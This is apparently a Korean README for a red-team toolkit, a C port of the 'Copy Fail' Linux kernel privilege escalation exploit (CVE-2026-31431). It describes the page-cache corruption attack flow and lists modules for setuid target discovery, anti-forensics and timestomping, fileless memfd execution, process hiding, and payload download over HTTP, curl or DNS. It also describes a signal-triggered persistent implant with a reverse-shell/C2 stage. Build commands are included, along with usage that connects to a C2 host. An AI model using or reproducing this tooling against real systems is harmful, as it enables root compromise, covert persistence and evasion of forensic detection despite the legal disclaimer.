
Copy Fail - CVE-2026-31431 - 레드팀 및 승인된 침투 테스트 작업을 위한 강화된 C 구현. ⚠️ 법적 고지: 이 도구는 승인된 보안 연구, 승인된 침투 테스트 및 방어 분석을 위해서만 사용됩니다. 귀하가 소유하거나 명시적 서면 허가를 받은 시스템에서만 사용하십시오. 컴퓨터 시스템에 대한 무단 접근은 불법입니다.
레드팀 및 승인된 침투 테스트 작전을 위한 강화된 C 구현체입니다.
⚠️ 법적 고지: 이 도구는 승인된 보안 연구, 승인된 침투 테스트, 방어적 분석만을 위해 사용됩니다. 귀하가 소유하거나 명시적인 서면 허가를 받은 시스템에서만 사용하십시오. 컴퓨터 시스템에 대한 무단 접근은 불법입니다.
🚀 주요 개발이 GitLab으로 이전되었습니다.
이 저장소는 여기에서 적극적으로 유지 관리됩니다. 문제 제기 및 기여는 GitLab을 사용해 주십시오.
이 프로젝트는 2026년 4월 29일 Theori와 Xint가 최초로 공개한 CVE-2026-31431 ("Copy Fail") 로컬 권한 상승 익스플로잇을 강화하고 프로덕션에 준비된 C로 포팅한 것입니다.
원본 개념 증명은 Python으로 작성되었으며 연구 데모용으로 설계되었습니다. 이 구현체는 이를 레드팀급 도구 키트로 변환합니다:
| 속성 | 값 |
|---|---|
| 공개일 | 2026년 4월 29일 |
| 연구자 | Theori (Jinoh Kang, Yonghwi Jin, Seunghyun Lee), Xint |
| 기고문 | https://copy.fail/ |
| 원본 PoC | theori-io/copy-fail-CVE-2026-31431 (Python) |
| C 포트 (기반) | tgies/copy-fail-c by Tony Gies |
| 영향받는 커널 | 리눅스 4.14 -- 6.14 (수정 커밋 a664bf3d603d 이전) |
| 심각도 | CVSS 7.8 (높음) -- 로컬 권한 상승 |
취약점은 리눅스 커널의 AF_ALG 암호화 서브시스템에 있습니다. authencesn AEAD 템플릿은 복호화를 위한 제자리 최적화를 구현합니다: 파일의 페이지 캐시에서 splice()를 통해 암호문이 제공되면, 커널은 동일한 페이지를 소스와 목적지로 재사용합니다.
공격 흐름:
/usr/bin/su)를 읽기 전용으로 엽니다AF_ALG를 통해 authencesn(hmac(sha256),cbc(aes)) AEAD 연산을 설정합니다splice()를 통해 암호문을 제공합니다execve() 대상 -- 커널이 캐시에서 변형된 페이지를 로드하여 setuid-root 자격 증명을 부여합니다핵심 통찰: 디스크 상의 inode는 절대 수정되지 않습니다. 메모리 내 페이지 캐시만 변형되므로, 전통적인 파일 덮어쓰기 익스플로잇보다 포렌식 탐지가 훨씬 더 어려워집니다.
이 프로젝트는 9개의 모듈에 걸쳐 레드팀 지향 강화를 통해 원래 연구를 확장합니다.
patch_chunk.c)| 기능 | 원본 | 우리 구현 |
|---|---|---|
| 소켓 관리 | 청크당 새 소켓 | 소켓 재사용 (~60% 적은 시스템 콜) |
| 검증 | 없음 | mmap + memcmp 및 자동 재시도 (3회 시도) |
| 병렬 쓰기 | 순차적만 | 포크 기반 병렬 (최대 16개 프로세스) |
| 오류 코드 | 이진 성공/실패 | 세분화: 0=확인됨, 1=패치된 커널, -1=치명적 |
| 힙 할당 | 핫 경로에서 malloc | 스택 전용 (할당 지터 없음) |
target_discovery.c)su, sudo, passwd, pkexec, mount, ping 등/snap 건너뜀 (비전통적 setuid)anti_forensics.c)| 기법 | 목적 |
|---|---|
posix_fadvise(POSIX_FADV_DONTNEED) | 파일별 페이지 캐시 제거 |
echo 3 > /proc/sys/vm/drop_caches | 전역 캐시 삭제 (루트 획득 후) |
utimensat() timestomp | 원래 atime/mtime 복원 |
| 자체 파괴 | 실행 전 드로퍼 바이너리를 0으로 덮어쓰기 |
| 메모리 지우기 | 민감한 버퍼의 volatile 제로화 |
memfd_exec.c)kworker, anon_inode, eventfd로 명명된 memfd (/proc/$pid/fd/에 혼합)stage1.c)| 채널 | 은밀성 | 속도 | 폴백 우선순위 |
|---|---|---|---|
| 임베디드 | 최대 | 즉시 | 마지막 (에어갭) |
| HTTP 직접 | 중간 | <1초 | 첫 번째 |
| 시스템 curl/wget | 낮음 | 1-3초 | 두 번째 (HTTPS 지원) |
| DNS TXT | 높음 | 느림 | 세 번째 (방화벽 우회) |
stage2_template.c)SIGUSR1 (트리거), SIGUSR2 (상태), SIGTERM (종료)ps/top에서 [kworker/N:0]proc_hide.c)/proc/$pid/cmdline 제자리 대체SSH_*, AWS_*, TOKEN* 등의 선택적 삭제setsid() + setpgid()signal_trigger.c)| 모드 | 동작 | 사용 사례 |
|---|---|---|
trigger_oneshot() | 수면 → 트리거 → 실행 → 종료 | 히트 앤 런 |
trigger_daemon() | 수면 → 트리거 → 실행 → 반복 | 지속적 임플란트 |
trigger_auto() | 타임아웃 폴백이 있는 수면 | 무인 작전 |
CPU 제로 대기: 폴링 루프 대신 sigsuspend().
sleep_jitter.c)getrandom(2), /dev/urandom, rdtsc 폴백sleep_scheduled()가 지터에도 불구하고 평균 간격 유지check_sandbox_acceleration()가 패치된 sleep() 탐지┌─────────────────────────────────────────────────────────────┐
│ exploit.c (Orchestrator) │
│ ┌─────────┐ ┌─────────┐ ┌─────────┐ ┌─────────┐ │
│ │ Hide │ │Discover │ │ Exploit │ │ Cleanup │ │
│ │ Process │ │ Target │ │ │ │ │ │
│ └────┬────┘ └────┬────┘ └────┬────┘ └────┬────┘ │
│ │ │ │ │ │
│ ▼ ▼ ▼ ▼ │
│ ┌─────────────────────────────────────────────────────┐ │
│ │ Core Module Layer │ │
│ │ patch_chunk.c target_discovery.c anti_forensics.c │ │
│ └─────────────────────────────────────────────────────┘ │
│ │ │ │ │ │
│ ▼ ▼ ▼ ▼ │
│ ┌─────────────────────────────────────────────────────┐ │
│ │ Delivery & Evasion Layer │ │
│ │ stage1.c memfd_exec.c proc_hide.c │ │
│ │ signal_trigger.c sleep_jitter.c │ │
│ └─────────────────────────────────────────────────────┘ │
│ │ │ │ │ │
│ ▼ ▼ ▼ ▼ │
│ ┌─────────────────────────────────────────────────────┐ │
│ │ Payload Layer (Stage-2) │ │
│ │ stage2_template.c (reverse shell / C2 implant) │ │
│ └─────────────────────────────────────────────────────┘ │
└─────────────────────────────────────────────────────────────┘
linux-libc-dev 또는 동등)musl-tools (작은 정적 빌드용)zig (현대적 크로스 컴파일용)dpkg-deb (데비안 패키징용)# Standard redteam build (optimized, stripped, static)
make redteam
# Pentest build (symbols, moderate optimization)
make pentest
# Debug build (ASAN, full symbols)
make debug
# Vulnerability checker (non-destructive)
make checker
# ARM64 (AWS/Azure cloud targets)
make cross-arm64
# RISC-V
make cross-riscv
# ARM HF (embedded/IoT)
make cross-armhf
# Zig cross-compile (no toolchain installation)
make cross-zig-arm64
make cross-zig-riscv
make musl-static
# Produces ~50-100 KB static binaries with zero glibc dependency
make deb VERSION=1.0.0
# Produces: build/deb/copy-fail-cve-2026-31431-1.0.0.deb
make info
# Shows: CC, CFLAGS, LDFLAGS, architecture, toolchain availability
# Deploy implant
./exploit &
IMP_PID=$!
# Trigger exploitation remotely
kill -USR1 $IMP_PID
# Request status (no action)
kill -USR2 $IMP_PID
# Graceful shutdown
kill -TERM $IMP_PID
./exploit -t # Trigger now, no signal wait
./exploit -t -c c2.example.com -p 9999